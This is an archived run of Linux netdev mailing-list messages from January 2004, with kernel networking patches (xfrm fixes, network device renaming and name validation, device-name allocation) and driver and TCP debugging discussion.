1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2402 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 651 Lines: 22 xfrm_state_construct doesn't set x->km.state to XFRM_STATE_DEAD. This can lead to the BUG_TRAP in __xfrm_state_destroy when xfrm_state_put() finds this is the last reference. This was reported as one of the symptoms of [Bug 1754] some time back. thanks, - KK diff -ruN linux-2.6.0-rc2-bk6.org/net/xfrm/xfrm_user.c linux-2.6.0-rc2-bk6/net/xfrm/xfrm_user.c --- linux-2.6.0-rc2-bk6.org/net/xfrm/xfrm_user.c 2004-01-09 12:57:42.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/xfrm/xfrm_user.c 2004-01-09 12:59:00.000000000 -0800 @@ -241,6 +241,7 @@ return x; error: + x->km.state = XFRM_STATE_DEAD; xfrm_state_put(x); error_no_put: *errp = err; From krkumar@us.ibm.com Tue Jan 13 13:34:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 13:35:00 -0800 (PST) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DLYl6H032253 for ; Tue, 13 Jan 2004 13:34:47 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0DLYf9n634994; Tue, 13 Jan 2004 16:34:41 -0500 Received: from linux-udp15191261uds.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0DLYe9I039136; Tue, 13 Jan 2004 16:34:40 -0500 Date: Tue, 13 Jan 2004 13:26:21 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@linux-udp14999547uds To: "David S. Miller" cc: netdev@oss.sgi.com, KK Subject: [PATCH 5/5] schedule() bug in xfrm_lookup() In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2403 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1252 Lines: 42 When xfrm_tmpl_resolve fails, schedule() before retrying. Also, cleaned up the set_task_* routines to use set_current_*, etc. This needs to be applied after [PATCH 3/5]. thanks, - KK diff -ruN linux-2.6.0-rc2-bk6.org/net/xfrm/xfrm_policy.c linux-2.6.0-rc2-bk6/net/xfrm/xfrm_policy.c --- linux-2.6.0-rc2-bk6.org/net/xfrm/xfrm_policy.c 2004-01-09 12:42:53.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/xfrm/xfrm_policy.c 2004-01-12 09:55:26.000000000 -0800 @@ -775,20 +775,17 @@ if (unlikely(nx<0)) { err = nx; - if (err == -EAGAIN) { - struct task_struct *tsk = current; - DECLARE_WAITQUEUE(wait, tsk); - if (!flags) - goto error; + if (err == -EAGAIN && !flags) { + DECLARE_WAITQUEUE(wait, current); - __set_task_state(tsk, TASK_INTERRUPTIBLE); add_wait_queue(&km_waitq, &wait); - nx = xfrm_tmpl_resolve(policy, fl, xfrm, family); - if (nx == -EAGAIN) - schedule(); - __set_task_state(tsk, TASK_RUNNING); + set_current_state(TASK_INTERRUPTIBLE); + schedule(); + set_current_state(TASK_RUNNING); remove_wait_queue(&km_waitq, &wait); + nx = xfrm_tmpl_resolve(policy, fl, xfrm, family); + if (nx == -EAGAIN && signal_pending(current)) { err = -ERESTART; goto error; From shemminger@osdl.org Tue Jan 13 14:23:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 14:23:22 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DMN76H001465 for ; Tue, 13 Jan 2004 14:23:08 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0DMM4o20847; Tue, 13 Jan 2004 14:22:04 -0800 Date: Tue, 13 Jan 2004 14:22:04 -0800 From: Stephen Hemminger To: jt@hpl.hp.com Cc: jt@bougret.hpl.hp.com, Jeff Garzik , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: [PATCH 2.6.X] SIOCSIFNAME wilcard suppor & name validation Message-Id: <20040113142204.0b41403b.shemminger@osdl.org> In-Reply-To: <20040112234332.GA1785@bougret.hpl.hp.com> References: <20040112234332.GA1785@bougret.hpl.hp.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2404 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2902 Lines: 124 Here is an enhanced version of the previous patch. It adds both the wildcard support that Jean did, and validation of network device names. It doesn't check the error return from class_device_rename because that will not fail unless object or name are null. diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Tue Jan 13 14:20:51 2004 +++ b/net/core/dev.c Tue Jan 13 14:20:51 2004 @@ -621,6 +621,21 @@ } /** + * dev_valid_name - check if name is okay for network device + * @name: name string + * + * Network device names need to be valid file names to + * to allow sysfs to work + */ +int dev_valid_name(const char *name) +{ + return !(*name == '\0' + || !strcmp(name, ".") + || !strcmp(name, "..") + || strchr(name, '/')); +} + +/** * dev_alloc_name - allocate a name for a device * @dev: device * @name: name format string @@ -660,6 +675,41 @@ return -ENFILE; /* Over 100 of the things .. bail out! */ } + +/** + * dev_change_name - change name of a device + * @dev: device + * @name: name (or format string) must be at least IFNAMSIZ + * + * Change name of a device, can pass format strings "eth%d". + * for wildcarding. + */ +int dev_change_name(struct net_device *dev, char *newname) +{ + ASSERT_RTNL(); + + if (dev->flags & IFF_UP) + return -EBUSY; + + if (!dev_valid_name(newname)) + return -EINVAL; + + if (strchr(newname, '%')) { + int err = dev_alloc_name(dev, newname); + if (err) + return err; + strcpy(newname, dev->name); + } + else if (__dev_get_by_name(newname)) + return -EEXIST; + else + strlcpy(dev->name, newname, IFNAMSIZ); + + class_device_rename(&dev->class_dev, dev->name); + notifier_call_chain(&netdev_chain, NETDEV_CHANGENAME, dev); + return 0; +} + /** * dev_alloc - allocate a network device and name * @name: name format string @@ -2359,20 +2409,8 @@ return 0; case SIOCSIFNAME: - if (dev->flags & IFF_UP) - return -EBUSY; ifr->ifr_newname[IFNAMSIZ-1] = '\0'; - if (__dev_get_by_name(ifr->ifr_newname)) - return -EEXIST; - err = class_device_rename(&dev->class_dev, - ifr->ifr_newname); - if (!err) { - strlcpy(dev->name, ifr->ifr_newname, IFNAMSIZ); - - notifier_call_chain(&netdev_chain, - NETDEV_CHANGENAME, dev); - } - return err; + return dev_change_name(dev, ifr->ifr_newname); /* * Unknown or private ioctl @@ -2505,6 +2543,7 @@ */ case SIOCGMIIPHY: case SIOCGMIIREG: + case SIOCSIFNAME: if (!capable(CAP_NET_ADMIN)) return -EPERM; dev_load(ifr.ifr_name); @@ -2536,7 +2575,6 @@ case SIOCDELMULTI: case SIOCSIFHWBROADCAST: case SIOCSIFTXQLEN: - case SIOCSIFNAME: case SIOCSMIIREG: case SIOCBONDENSLAVE: case SIOCBONDRELEASE: @@ -2685,6 +2723,11 @@ ret = -EIO; goto out_err; } + } + + if (!dev_valid_name(dev->name)) { + ret = -EINVAL; + goto out_err; } dev->ifindex = dev_new_index(); From ganachar@usc.edu Tue Jan 13 14:52:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 14:52:27 -0800 (PST) Received: from postal.usc.edu (nsmsg@postal.usc.edu [128.125.253.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DMqC6H002714 for ; Tue, 13 Jan 2004 14:52:12 -0800 Received: from usc.edu (localhost.usc.edu [127.0.0.1]) by postal.usc.edu (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) with ESMTP id <0HRG00E009KIA1@postal.usc.edu> for netdev@oss.sgi.com; Tue, 13 Jan 2004 14:38:42 -0800 (PST) Received: from [66.229.166.54] by postal.usc.edu (mshttpd); Tue, 13 Jan 2004 14:38:42 -0800 Date: Tue, 13 Jan 2004 14:38:42 -0800 From: tanmay ganacharya Subject: Units of the value in t_rtttime and t_rxtcur To: netdev@oss.sgi.com Message-id: <837c3083b839.83b839837c30@usc.edu> MIME-version: 1.0 X-Mailer: iPlanet Messenger Express 5.2 HotFix 1.21 (built Sep 8 2003) Content-type: text/plain; charset=us-ascii Content-language: en Content-transfer-encoding: 7BIT Content-disposition: inline X-Accept-Language: en Priority: normal X-archive-position: 2405 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ganachar@usc.edu Precedence: bulk X-list: netdev Content-Length: 774 Lines: 16 Hello, I am working on a project in which I need to find the instantaneous RTT's and RTO's over a period of 20 Minutes of a TCP connection. I was able to get the RTT and RTO values from the t_rtttime and t_rxtcur variables in the tcp block structure but am not able to figure out the units of the values. I need to get both in same units. I think RTO's are in ticks. But am not very sure about RTT. Please could you help me with the same. I would really be grateful. Also I found that 1 TCP tick = 224 miliseconds. I just wanted to confim whether it is correct. I am using FreeBSD 4.9 Stable. I am sending a sample of the values I have collected. t_rtttime = 354397342, t_srtt = 68069, t_rxtcur = 1689 Waiting for your reply. Thanking you, Yours truly, Tanmay Ganacharya From jt@bougret.hpl.hp.com Tue Jan 13 14:54:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 14:54:41 -0800 (PST) Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DMsI6H003111 for ; Tue, 13 Jan 2004 14:54:18 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel12.hp.com (Postfix) with ESMTP id F36481C0042F; Tue, 13 Jan 2004 14:27:45 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id OAA07484; Tue, 13 Jan 2004 14:27:45 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AgX0j-0003AI-00; Tue, 13 Jan 2004 14:27:45 -0800 Date: Tue, 13 Jan 2004 14:27:45 -0800 To: Stephen Hemminger Cc: Jeff Garzik , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6.X] SIOCSIFNAME wilcard suppor & name validation Message-ID: <20040113222745.GA12147@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040112234332.GA1785@bougret.hpl.hp.com> <20040113142204.0b41403b.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040113142204.0b41403b.shemminger@osdl.org> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2406 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 447 Lines: 15 On Tue, Jan 13, 2004 at 02:22:04PM -0800, Stephen Hemminger wrote: > Here is an enhanced version of the previous patch. > It adds both the wildcard support that Jean did, and validation of network > device names. Excellent. Your patch looks much cleaner. > It doesn't check the error return from class_device_rename because > that will not fail unless object or name are null. I was not 100% sure if this would remain true. Thanks ! Jean From romieu@fr.zoreil.com Tue Jan 13 15:04:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 15:05:12 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DN4v6H004137 for ; Tue, 13 Jan 2004 15:04:58 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0DN4TsW024379; Wed, 14 Jan 2004 00:04:29 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0DN4Rsb024378; Wed, 14 Jan 2004 00:04:27 +0100 Date: Wed, 14 Jan 2004 00:04:27 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: dpollock@acm.org, damouse@ntlworld.com, brad@mainstreetsoftworks.com, kinetik@orcon.net.nz Subject: Re: Realtek 8169 Lock-ups Message-ID: <20040114000427.A21899@electric-eye.fr.zoreil.com> References: <1073507006.5151.61.camel@localhost> <20040107232034.A22930@electric-eye.fr.zoreil.com> <1073596694.6378.6.camel@localhost> <4001080D.3090401@pobox.com> <20040111124957.A18068@electric-eye.fr.zoreil.com> <20040113000357.D5983@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040113000357.D5983@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Tue, Jan 13, 2004 at 12:03:57AM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2407 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 270 Lines: 11 Re, latest pile of r8169 related patches against 2.6.1-bk1 available at: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.1-bk1-a Credits go to damouse@ntlworld.com for a bug removal in r8169-init_one.patch. No change of behavior expected for SMP so far. -- Ueimor From davem@pizda.ninka.net Tue Jan 13 15:08:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 15:08:55 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DN8g6H004608 for ; Tue, 13 Jan 2004 15:08:42 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA09224; Tue, 13 Jan 2004 15:01:44 -0800 Date: Tue, 13 Jan 2004 15:01:44 -0800 From: "David S. Miller" To: Andi Kleen Cc: ak@muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Mark SIOCSIFNAME as compatible ioctl Message-Id: <20040113150144.1f8e214c.davem@redhat.com> In-Reply-To: <20040109165627.2e0845af.ak@suse.de> References: <20040108070413.GA31778@averell> <20040109020456.045b447e.davem@redhat.com> <20040109165627.2e0845af.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2408 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 388 Lines: 14 On Fri, 9 Jan 2004 16:56:27 +0100 Andi Kleen wrote: > On Fri, 9 Jan 2004 02:04:56 -0800 > "David S. Miller" wrote: > > > How can we mark it compatible? It needs the stuff dev_ifname32() in > > fs/compat_ioctl.c does for SIOCGIFNAME doesn't it? > > It takes two strings. This should be compatible: You're absolutely right Andi, thanks. Patch applied. From jgarzik@pobox.com Tue Jan 13 15:16:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 15:17:10 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DNGs6H005109 for ; Tue, 13 Jan 2004 15:16:55 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37039 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AgXmH-0005sv-Mp; Tue, 13 Jan 2004 23:16:53 +0000 Message-ID: <40047C5A.3090604@pobox.com> Date: Tue, 13 Jan 2004 18:16:42 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andrew Morton , Netdev Subject: netdev4 posted Content-Type: multipart/mixed; boundary="------------060909000208080600020605" X-archive-position: 2409 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 3055 Lines: 76 This is a multi-part message in MIME format. --------------060909000208080600020605 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Key e100 fix, that possibly wants fixing in eepro100 too. Patch: http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/2.6.1-bk1-netdev4.patch.bz2 Full changelog: http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/2.6.1-bk1-netdev4.log Broken out: http://www.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/broken-out/ Changelog delta attached. --------------060909000208080600020605 Content-Type: text/plain; name="changelog.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="changelog.txt" ChangeSet@1.1510.9.19, 2004-01-13 16:43:24-05:00, romieu@fr.zoreil.com [netdrvr r8169] fix phy initialization loop init ChangeSet@1.1510.8.7, 2004-01-13 15:30:03-05:00, scott.feldman@intel.com [netdrvr e100] copyright + trailing blanks + misc * Misc: 2004 copyright, remove trailing white space, remove some unused symbols. ChangeSet@1.1510.8.6, 2004-01-13 15:29:55-05:00, scott.feldman@intel.com [netdrvr e100] fix slab corruption * Addresses two problems, both resulting in slab corruption: 1) driver indicating skb while HW is still DMA'ing (ouch!), 2) driver not stopping receiver activity before downing i/f. Fix is 1) wait for RNR (receiver-no-resources) interrupt before restarting receiver, 2) reseting HW to stop receiver before stopping i/f. This issue was also reproducible with eepro100. You need to turn off the copybreak, and reduce the number of descriptors to 4. Then bang on it with pktgen with 60-byte packets, with slab debugging enabled. For e100-3.0.x, the issue was a lot easier to reproduce with NAPI, because NAPI polls independently of where the HW is at, so it's easier for us to catch HW in the middle of finishing off the last Rx (as it runs out of resources) and asking HW if it's idle. Checking the RU status is not-reliable! That's the problem, and the mistake both eepro100 and e100-3.0.x were making. The solution is rely on RNR interrupts as the only indicator that HW is truly done, and then we're ready to restart the RU. We should only get RNR interrupts when we overrun the Rx ring. With NAPI, if the ring is overrun, we'll post RNR, but not restart the RU until we're out of polling. Without NAPI, we'll restart the RU as soon as we get RNR. I ran some 24-hour tests with and without NAPI (with 4 descriptors) and didn't get any corruption. Prior to this patch, I would get many errors about slab corruption. Also, the patch is larger than you might expect, but I initially thought I was doing something wrong with managing the ring, so I that code using old fashion double-link list. The ring management wasn't the problem, after all, but I prefer the old-fashion d-link implementation as it's easier to read. --------------060909000208080600020605-- From shemminger@osdl.org Tue Jan 13 15:46:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 15:46:37 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DNkL6H006088 for ; Tue, 13 Jan 2004 15:46:24 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0DNkAo04755; Tue, 13 Jan 2004 15:46:10 -0800 Date: Tue, 13 Jan 2004 15:46:10 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] support for large number of network devices. Message-Id: <20040113154610.38f5934c.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2410 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1887 Lines: 68 When using pseudo network devices, and really big machines; there is sometimes a need to have a lot of network devices. This replaces the existing 2.6.1 limit of 100 entries an was O(n^2) with a algorithm that will handle up to 32768 entries with O(n) behaviour. Does need a temporary page, but that shouldn't be a big deal. It has the same semantics, it will find the first empty name and use it. diff -Nru a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Tue Jan 13 15:42:19 2004 +++ b/net/core/dev.c Tue Jan 13 15:42:19 2004 @@ -650,8 +650,11 @@ int dev_alloc_name(struct net_device *dev, const char *name) { int i; - char buf[32]; char *p; + const int max_netdevices = 8*PAGE_SIZE; + long *inuse; + struct net_device *d; + char buf[IFNAMSIZ]; /* * Verify the string as this thing may have come from @@ -662,17 +665,34 @@ if (p && (p[1] != 'd' || strchr(p + 2, '%'))) return -EINVAL; - /* - * If you need over 100 please also fix the algorithm... - */ - for (i = 0; i < 100; i++) { - snprintf(buf, sizeof(buf), name, i); - if (!__dev_get_by_name(buf)) { - strcpy(dev->name, buf); - return i; + /* Use one page as a bit array of possible slots */ + inuse = (long *) get_zeroed_page(GFP_ATOMIC); + if (!inuse) + return -ENOMEM; + + for (d = dev_base; d; d = d->next) { + if (sscanf(d->name, name, &i)) { + if (i < 0 || i >= max_netdevices) + continue; + + set_bit(i, inuse); } } - return -ENFILE; /* Over 100 of the things .. bail out! */ + + i = find_first_zero_bit(inuse, max_netdevices); + free_page((unsigned long) inuse); + snprintf(buf, sizeof(buf), name, i); + + if (!__dev_get_by_name(buf)) { + strcpy(dev->name, buf); + return i; + } + + /* It is possible to run out of possible slots + * when the name is long and there isn't enough space left + * for the digits, or if all bits are used. + */ + return -ENFILE; } From romieu@fr.zoreil.com Tue Jan 13 16:01:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:01:29 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E01D6H007265 for ; Tue, 13 Jan 2004 16:01:16 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0DNvdsW025291; Wed, 14 Jan 2004 00:57:39 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0DNvc2T025290; Wed, 14 Jan 2004 00:57:38 +0100 Date: Wed, 14 Jan 2004 00:57:38 +0100 From: Francois Romieu To: dpollock@acm.org Cc: netdev@oss.sgi.com Subject: Re: Realtek 8169 Lock-ups Message-ID: <20040114005738.B21899@electric-eye.fr.zoreil.com> References: <1073507006.5151.61.camel@localhost> <20040107232034.A22930@electric-eye.fr.zoreil.com> <1073596694.6378.6.camel@localhost> <4001080D.3090401@pobox.com> <20040111124957.A18068@electric-eye.fr.zoreil.com> <20040113000357.D5983@electric-eye.fr.zoreil.com> <1074020596.5336.0.camel@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1074020596.5336.0.camel@localhost>; from pollockd@magma.ca on Tue, Jan 13, 2004 at 02:03:16PM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 2411 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 565 Lines: 18 pollockd@magma.ca : [...] > With SMP enabled, I get the following, and the packet generator aborts > quickly: > > APIC error on CPU0: 40(40) > eth0: Too much work at interrupt! > eth0: Too much work at interrupt! Well, it is not clear that the "Too muck work at interrupt" recovery logic really recovers much (be it for vanilla or modified r8169 driver). Does it behave differently if you make the "while (boguscnt > 0);" always true in rtl8169_interrupt() and ask for a finite number of packets (say pgset "count 1000" or more) ? -- Ueimor From davem@pizda.ninka.net Tue Jan 13 16:06:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:06:32 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E06I6H007719 for ; Tue, 13 Jan 2004 16:06:18 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA09379; Tue, 13 Jan 2004 15:59:21 -0800 Date: Tue, 13 Jan 2004 15:59:21 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] support for large number of network devices. Message-Id: <20040113155921.342db463.davem@redhat.com> In-Reply-To: <20040113154610.38f5934c.shemminger@osdl.org> References: <20040113154610.38f5934c.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2412 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 810 Lines: 18 On Tue, 13 Jan 2004 15:46:10 -0800 Stephen Hemminger wrote: > When using pseudo network devices, and really big machines; there is > sometimes a need to have a lot of network devices. This replaces the > existing 2.6.1 limit of 100 entries an was O(n^2) > with a algorithm that will handle up to 32768 entries with O(n) behaviour. > > Does need a temporary page, but that shouldn't be a big deal. > It has the same semantics, it will find the first empty name and use it. I think your code has different semantics than exist currently. For example, let's use the example of asking for "slip%d" then "eth%d". The existing code would hand out "slip0" then "eth0", but your code would deliver "slip0" then "eth1" which is not correct. Or did I miss something clever in your algorithm? From davem@pizda.ninka.net Tue Jan 13 16:08:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 16:08:44 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0E08V6H008115 for ; Tue, 13 Jan 2004 16:08:31 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id QAA09396; Tue, 13 Jan 2004 16:01:35 -0800 Date: Tue, 13 Jan 2004 16:01:35 -0800 From: "David S. Miller" To: Nathaniel M Nelson Cc: netdev@oss.sgi.com Subject: Re: Possible weird TCP bug Message-Id: <20040113160135.45cc677d.davem@redhat.com> In-Reply-To: <3FFE2B00.2030607@chartermi.net> References: <3FFE2B00.2030607@chartermi.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2413 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1415 Lines: 27 On Thu, 08 Jan 2004 23:16:00 -0500 Nathaniel M Nelson wrote: > 0000 00 02 7d 66 a4 54 00 e0 81 23 14 78 08 00 45 00 ..}f.T.. .#.x..E. > 0010 00 3c 9a 41 40 00 3f 06 f4 1f 18 e7 92 21 d8 ef .<.A@.?. .....!.. > 0020 29 63 89 37 00 50 e5 4b 22 e0 00 00 00 00 a0 02 )c.7.P.K "....... > 0030 16 d0 36 6a 00 00 02 04 05 b4 04 02 08 0a 03 1d ..6j.... ........ > 0040 b8 a1 00 00 00 00 01 03 03 00 ........ .. > > Then after I get the SYN,ACK back, the firewall will send out the next > ACK with the sequence number correctly incremented by 1. > > 0000 00 02 7d 66 a4 54 00 e0 81 23 14 78 08 00 45 00 ..}f.T.. .#.x..E. > 0010 00 28 9a 42 40 00 3f 06 f4 32 18 e7 92 21 d8 ef .(.B@.?. .2...!.. > 0020 29 63 89 37 00 50 e5 4b 22 e1 db f2 5c c5 50 10 )c.7.P.K "...\.P. > 0030 16 d0 21 3d 00 00 ..!=. > > So of course the sequence is "1" in that packet. Both sequence numbers > seem a little low though... and not very cryptic. If this is not a bug > I apoligize in advance. In the initial packet, the only zero is the "ACK" sequence, when the first SYN goes out we don't know the starting sequence number the other side will decide to use so we set that field to zero 